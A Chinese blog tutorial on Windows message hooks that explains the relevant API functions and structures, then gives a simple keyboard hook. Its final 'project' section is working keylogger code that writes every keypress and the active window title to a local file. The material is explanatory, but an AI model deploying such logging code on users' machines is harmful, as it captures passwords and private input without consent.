首页 > 其他分享 >HOOK技术(以键盘HOOK为例)

HOOK技术(以键盘HOOK为例)

时间:2023-10-19 23:24:57浏览次数:39  
标签:函数 为例 钩子 挂钩 键盘 HOOK 线程 消息 NULL

一. 回调函数介绍

如果你把函数的指针(地址)作为参数传递给另一个函数,当这个指针被用来调用其所指向的函数时,我们就说这是回调函数。回调函数不是由该函数的实现方直接调用,而是在特定的事件或条件发生时由另外的一方调用的,用于对该事件或条件进行响应。

回调函数的机制如下:

  • 定义一个回调函数;
  • 提供函数实现的一方在初始化的时候,将回调函数的函数指针注册给调用者;
  • 当特定的事件或条件发生的时候,调用者使用函数指针调用回调函数对事件进行处理。

二.HOOK技术介绍

Windows消息传递机制,当在应用程序进行相关操作,例如点击鼠标、按下键盘,操作窗口等,操作系统能够感知这一事件,接着把此消息放到系统消息队列,然后到应用程序的消息序列中,应用程序通过Getmessage函数取出消息,然后调用DispatchMessage函数将这条消息调度给操作系统,操作系统会调用在设计窗口类时指定的应用程序窗口对这一消息进行处理,处理过程如图所示:

对于Windows系统,它是建立在事件驱动机制上的,说白了就是整个系统都是通过消息传递实现的。hook(钩子)是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理。所以说,我们可以在系统中自定义钩子,用来监视系统中特定事件的发生,完成特定功能,如屏幕取词,监视日志,截获键盘、鼠标输入等等。
钩子的种类很多,每种钩子可以截获相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。钩子可以分为线程钩子和系统钩子,线程钩子可以监视指定线程的事件消息,系统钩子监视系统中的所有线程的事件消息。因为系统钩子会影响系统中所有的应用程序,所以钩子函数必须放在独立的动态链接库(DLL) 中。
所以说,hook(钩子)就是一个Windows消息的拦截机制,可以拦截单个进程的消息(线程钩子),也可以拦截所有进程的消息(系统钩子),也可以对拦截的消息进行自定义的处理。Windows消息带了一些程序有用的信息,比如Mouse类信息,就带有鼠标所在窗体句柄、鼠标位置等信息,拦截了这些消息,就可以做出例如金山词霸一类的屏幕取词功能。

三.HOOK技术有关函数和结构体

  1. SetWindowsHookExW 函数

    HHOOK SetWindowsHookExW(
      [in] int       idHook,//要安装的挂钩过程的类型
      [in] HOOKPROC  lpfn,//指向挂钩过程的指针
      [in] HINSTANCE hmod,//DLL 的句柄,包含 lpfn 参数指向的挂钩过程
      [in] DWORD     dwThreadId//要与之关联的挂钩过程的线程的标识符。 
    //对于桌面应用,如果此参数为零,则挂钩过程与调用线程在同一桌面中运行的所有现有线程相关联。 
    );
    
  2. KeyboardProc函数

    说明:每当应用程序调用 GetMessage 或 PeekMessageA/PeekMessageW函数并且有键盘消息 (要处理的WM_KEYUPWM_KEYDOWN时,系统都会调用此函数。

    LRESULT CALLBACK KeyboardProc(
       int    code,//挂钩过程用于确定如何处理消息的代码。
       WPARAM wParam,//生成 击键 消息的密钥的虚拟密钥代码
       LPARAM lParam//重复计数、扫描代码、扩展键标志、上下文代码、以前的键状态标志和转换状态标志。
    );
    
  3. CallNextHookEx函数

    说明:将挂钩信息传递给当前挂钩链中的下一个挂钩过程。 挂钩过程可以在处理挂钩信息之前或之后调用此函数。

    LRESULT CallNextHookEx(
       HHOOK  hhk,//忽略此参数,直接传NULL即可。
       int    nCode,//传递给当前挂钩过程的挂钩代码。 下一个挂钩过程使用此代码来确定如何处理挂钩信息
       WPARAM wParam,//传递给当前挂钩过程的 wParam 值。 此参数的含义取决于与当前挂钩链关联的挂钩类型。
       LPARAM lParam//传递给当前挂钩过程的 lParam 值。 此参数的含义取决于与当前挂钩链关联的挂钩类型。
    );
    
  4. MSG结构体

    说明:包含来自线程的消息队列的消息信息。

    typedef struct tagMSG {
      HWND   hwnd;//其窗口过程接收消息的窗口的句柄。 当消息是线程消息时,此成员为 NULL 。
      UINT   message;//消息的标识符。 应用程序只能使用低字;高字由系统保留
      WPARAM wParam;//关于消息的附加信息。 确切含义取决于 消息 成员的值。
      LPARAM lParam;//关于消息的附加信息。 确切含义取决于 消息 成员的值。
      DWORD  time;//消息的发布时间
      POINT  pt;//发布消息时的光标位置(以屏幕坐标表示)
      DWORD  lPrivate;
    } MSG, *PMSG, *NPMSG, *LPMSG;
    
  5. GetMessage函数

    说明:从调用线程的消息队列中检索消息,将消息存储在lpMsg当中。

    BOOL GetMessage(
      LPMSG lpMsg,//指向 MSG 结构的指针,该结构从线程的消息队列接收消息信息。
      HWND  hWnd,//要检索其消息的窗口的句柄。 窗口必须属于当前线程。
    //如果 hWnd 为 NULL, 则 GetMessage 将检索属于当前线程的任何窗口的消息
      UINT  wMsgFilterMin,//要检索的最低消息值的整数值
      UINT  wMsgFilterMax//要检索的最高消息值的整数值
    );
    
  6. TranslateMessage函数

    说明:将虚拟密钥消息转换为字符消息,字符消息将发布到调用线程的消息队列,以便下次线程调用 GetMessagePeekMessage 函数时读取。

    BOOL TranslateMessage(
      [in] const MSG *lpMsg//指向 MSG 结构的指针
    );
    
  7. DispatchMessag函数

    说明:将消息调度到窗口过程

    LRESULT DispatchMessage(
      const MSG *lpMsg//指向 MSG 结构的指针
    );
    
  8. KBDLLHOOKSTRUCT结构体

    说明:包含有关低级别键盘输入事件的信息

    typedef struct tagKBDLLHOOKSTRUCT {
      DWORD     vkCode;//虚拟密钥代码。 代码必须是 1 到 254 范围内的值。
      DWORD     scanCode;//密钥的硬件扫描代码。
      DWORD     flags;//扩展键标志、事件注入标志、上下文代码和转换状态标志。
      DWORD     time;//此消息的时间戳
      ULONG_PTR dwExtraInfo;//与消息关联的其他信息
    } KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
    
  9. GetKeyNameText函数

    说明:用于检索表示键的名称的字符串。

    注意:这里的lparam并不是KeyboardProc函数的参数lparam而是虚拟密钥代码,即KBDLLHOOKSTRUCT结构体的vkCode。

    int GetKeyNameText(LONG lParam,//虚拟密钥代码
               LPTSTR lpString,//将接收密钥名称的缓冲区
               int nSize);//密钥名称的最大长度(以字符为单位),包括终止 null 字符。 (此参数应等于 lpString 参数指向的缓冲区的大小。)
    
    char szkeyName[100] = { 0 };
    KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
    if (wParam == WM_KEYDOWN)
    {
        DWORD t = (kb->scanCode << 16) + (kb->flags << 24);
        int m = GetKeyNameTextA(t, szkeyName, 100);//获得键盘当中输入的某个按键的名称
        if (m == 0)
        {
            MessageBox(NULL, L"按键值获得失败!", L"提示", NULL);
        }
        fwrite(szkeyName, 1, strlen(szkeyName), fp);
    }
    

四.简单的键盘钩子代码

#include <windows.h>
#include <iostream>

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
        std::cout << "按下了键: " << pKeyBoard->vkCode << std::endl;
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main() {
    HHOOK hKeyboardHook = SetWindowsHookExW(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    if (hKeyboardHook == NULL) {
        std::cerr << "设置键盘挂钩失败,错误代码: " << GetLastError() << std::endl;
        return 1;
    }

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(hKeyboardHook);
    return 0;
}

五.项目实战

BOOL SetHookOn()
{
    MessageBox(NULL, L"钩子函数调用成功!", L"提示", NULL);
    g_keyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc,NULL, 0);
    if (g_keyHook)
    {
        MessageBox(NULL, L"钩子创建成功!", L"提示", NULL);
        return TRUE;
    }
    else
    {
        MessageBox(NULL, L"钩子创建失败!", L"提示", NULL);
        DWORD error_code = GetLastError();
        printf("%u", error_code);
    }
    return FALSE;
}
BOOL SetHookOff()
{
    return  UnhookWindowsHookEx(g_keyHook);
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
    HWND hWnd = GetForegroundWindow();
    DWORD dwProcess;
    LRESULT result = 0;
    DWORD dwPID = GetWindowThreadProcessId(hWnd, &dwProcess);

    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcess);

    WCHAR wszProcessPath[MAX_PATH] = { 0 };
    DWORD dwSize = MAX_PATH;
    QueryFullProcessImageNameW(hProcess, 0, wszProcessPath, &dwSize);
    CHAR wszTitle[MAX_PATH] = { 0 };
    result = GetWindowTextA(hWnd, wszTitle, MAX_PATH);//获得窗口名称
    FILE* fp = fopen("Myfile.txt","a");
    if (fp == NULL)
    {
       // MessageBox(NULL, L"文档创建失败!", L"提示", NULL);
        return CallNextHookEx(g_keyHook, code, wParam, lParam);
    }
    else
    {
        //MessageBox(NULL, L"文档创建成功!", L"提示", NULL);
    }
  
    if (lParam & 0x40000000)
    {
        return CallNextHookEx(g_keyHook, code, wParam, lParam);
    }
    if (code == HC_NOREMOVE || code < 0)
    {
        return CallNextHookEx(g_keyHook, code, wParam, lParam);
    }
  
    char szkeyName[100] = { 0 };
    KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
    if (wParam == WM_KEYDOWN)
    {
        DWORD t = (kb->scanCode << 16) + (kb->flags << 24);
        int m = GetKeyNameTextA(t, szkeyName, 100);//获得键盘当中输入的某个按键的名称
        if (m == 0)
        {
            MessageBox(NULL, L"按键值获得失败!", L"提示", NULL);
        }
        fwrite(szkeyName, 1, strlen(szkeyName), fp);
    }
    fwrite("\t", 1, 2, fp);
    fwrite(wszTitle, 1, strlen(wszTitle), fp);//将窗口名称写入文件
    fwrite("\r\n", 1, 2, fp);
    fclose(fp);
    return CallNextHookEx(g_keyHook, code, wParam, lParam);
}

六.参考文章:

  1. [原创]一篇文章带你理解HOOK技术-软件逆向-看雪-安全社区|安全招聘|kanxue.com
  2. C++黑客编程:键盘记录器,HOOK技术实现_c++键盘记录器代码-CSDN博客
  3. [原创]按键监控技术-编程技术-看雪-安全社区|安全招聘|kanxue.com
  4. 微软官方文档

标签:函数,为例,钩子,挂钩,键盘,HOOK,线程,消息,NULL
From: https://www.cnblogs.com/ONEZJ/p/17775953.html

相关文章

  • import { useRouter } from 'next/router'; 在非hooks 文件或组件中使用
    将 import{useRouter}from'next/router';改为 importRouterfrom"next/router";使用: Router.push('/');原来使用 import{useRouter}from'next/router';会导致报错如下  ......
  • linux kernel的启动参数是怎么拿到的-以arm64为例
    linuxkernel拿到启动参数一定是在boot阶段,那就必须从start_kernel找起。asmlinkage__visible__init__no_sanitize_address__noreturn__no_stack_protectorvoidstart_kernel(void){。。。setup_arch(&command_line);setup_arch的参数里有command_lin......
  • C语言-从键盘输入字符直到#结束,并将字符写入文件
    C语言-从键盘输入字符直到#结束,并将字符写入文件#include<stdio.h>#include<stdlib.h>intmain(){ FILE*fp=NULL; charfilename[25]; charch; printf("inputsavedfilename:\n"); gets(filename);//从键盘输入字符串,与scanf功能类似,其原型是char*gets(char*str)......
  • 键盘快捷键
    键盘功能键Tab、Shift、Ctrl、Alt、空格、Enter、Windows、↑、↓、←、→键盘快捷键全选、复制、粘贴、撤销、保存、关闭窗口、运行、永久删除……常用快捷键ctrl+x:剪切ctrl+c:复制ctrl+v:粘贴ctrl+a:全选ctrl+z:撤销ctrl+s:保存alt+f4:窗口关闭shift+delete:永久删除文件,不......
  • app逆向day03-反编译工具和hook框架
    一反编译工具1.1常见反编译工具常见的反编译工具:jadx(推荐)、jeb、GDA反编译工具依赖于java环境,所以我们按照jdk1.2JDK环境安装#官方地址:(需要注册-最新java21)https://www.oracle.com/java/technologies/downloads/1.2.1win平台安装#1下载jdk-8u371-windows-x64.e......
  • ahooks 源码实现
    ahooks库源码实现state模块useSetState功能点:1.实现类似class组件中setState功能,只更新传入的值,其他值不用更新;2.且可以穿入第二个回调函数参数同步获取更新后的最新state用于操作。import{useState}from'react';exportconstuseSetState=(init={})=>{c......
  • 如何以编程方式关闭/隐藏Android软键盘?
    内容来自DOChttps://q.houxu6.top/?s=如何以编程方式关闭/隐藏Android软键盘?我在我的布局中有一个EditText和一个Button。在编辑字段中写入内容并点击Button后,我希望在触摸键盘外部时隐藏虚拟键盘。我认为这是一段简单的代码,但是我在哪里可以找到它的示例?为了澄清这个疯狂......
  • JS 实现模拟键盘事件
    //获取事件需要绑定的节点varinp=document.getElementById('id')//创建初始化event事件varevent=newKeyboardEvent("keyup",{which:13,keyCode:13,key:'Enter',code:'Enter'});//执行inp.dispatchEvent(event) 参考:https://develo......
  • 以PMIC为例简析Linux MFD/Remap/Regulator的使用
     关键词:ADI、SPI、Regmap、MFD、Regulator、PMIC等等。 以SC27XX为例,梳理一个PMIC用到的内核模块。1.MFD框架MFD是Multi-FunctionDevice,MFD子系统是Linux下一种用于管理和控制多功能设备的软件框架。他提供一种统一接口,使得多个设备可以通过一个驱动程序进行管理和控制。K......
  • Jenkins +Gitee&WebHook
    添加webhook,粘贴你前面复制的地址复选框pullrequest打勾点击添加然后修改项目提交,正常如下200  实现提交后jenkins 执行编译1下载Jenkins最新版(开发版)msi格式,最好最新版,老板本有时插件会现在失败,war放到tomcat下有时会不行安装jdk1.8......